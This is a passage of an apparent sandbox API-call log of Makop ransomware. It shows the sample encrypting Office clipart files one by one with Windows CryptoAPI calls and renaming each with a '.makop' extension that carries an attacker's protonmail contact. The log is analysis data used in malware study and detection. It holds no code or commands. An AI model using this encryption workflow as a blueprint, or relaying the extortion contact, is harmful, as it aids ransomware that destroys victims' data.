out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.093] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.093] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.094] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x544, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x544, lpOverlapped=0x0) returned 1 [0125.094] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x550, dwBufLen=0x550 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x550) returned 1 [0125.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.094] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x550, lpOverlapped=0x0) returned 1 [0125.094] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.095] SetEndOfFile (hFile=0xf0) returned 1 [0125.101] GetProcessHeap () returned 0x48a0000 [0125.101] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.101] GetProcessHeap () returned 0x48a0000 [0125.101] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.102] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.103] CloseHandle (hObject=0xf0) returned 1 [0125.103] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c98, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152696.WMF", cAlternateFileName="")) returned 1 [0125.104] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0125.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.106] GetProcessHeap () returned 0x48a0000 [0125.106] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.106] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.106] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.106] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.110] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.111] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.111] GetProcessHeap () returned 0x48a0000 [0125.111] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.111] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.111] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.111] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.111] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.111] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.111] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.112] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.112] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.112] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.112] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c98, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c98, lpOverlapped=0x0) returned 1 [0125.114] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ca0, dwBufLen=0x1ca0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ca0) returned 1 [0125.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.114] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ca0, lpOverlapped=0x0) returned 1 [0125.114] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.114] SetEndOfFile (hFile=0xf0) returned 1 [0125.121] GetProcessHeap () returned 0x48a0000 [0125.121] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.121] GetProcessHeap () returned 0x48a0000 [0125.121] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.121] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.121] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.123] CloseHandle (hObject=0xf0) returned 1 [0125.123] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152698.WMF", cAlternateFileName="")) returned 1 [0125.123] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0125.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.125] GetProcessHeap () returned 0x48a0000 [0125.125] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.125] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.125] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.126] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.130] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.130] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.130] GetProcessHeap () returned 0x48a0000 [0125.130] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.130] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.130] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.130] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.131] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.131] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.131] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.131] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.131] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.131] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.131] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.132] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4b8, lpOverlapped=0x0) returned 1 [0125.132] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c0) returned 1 [0125.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4c0, lpOverlapped=0x0) returned 1 [0125.132] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.132] SetEndOfFile (hFile=0xf0) returned 1 [0125.138] GetProcessHeap () returned 0x48a0000 [0125.138] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.138] GetProcessHeap () returned 0x48a0000 [0125.138] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.138] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.141] CloseHandle (hObject=0xf0) returned 1 [0125.141] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152702.WMF", cAlternateFileName="")) returned 1 [0125.141] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0125.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.143] GetProcessHeap () returned 0x48a0000 [0125.143] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.143] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.143] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.144] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.147] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.148] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.148] GetProcessHeap () returned 0x48a0000 [0125.148] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.148] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.148] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.148] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.148] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.148] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.148] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.149] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.149] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.149] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.149] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4b8, lpOverlapped=0x0) returned 1 [0125.149] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c0) returned 1 [0125.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.149] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4c0, lpOverlapped=0x0) returned 1 [0125.150] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.150] SetEndOfFile (hFile=0xf0) returned 1 [0125.156] GetProcessHeap () returned 0x48a0000 [0125.156] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.157] GetProcessHeap () returned 0x48a0000 [0125.157] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.157] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.158] CloseHandle (hObject=0xf0) returned 1 [0125.158] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x674, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152704.WMF", cAlternateFileName="")) returned 1 [0125.158] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0125.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.159] GetProcessHeap () returned 0x48a0000 [0125.159] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.159] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.160] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0125.164] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.164] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.164] GetProcessHeap () returned 0x48a0000 [0125.164] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.165] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.165] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.165] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.165] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, 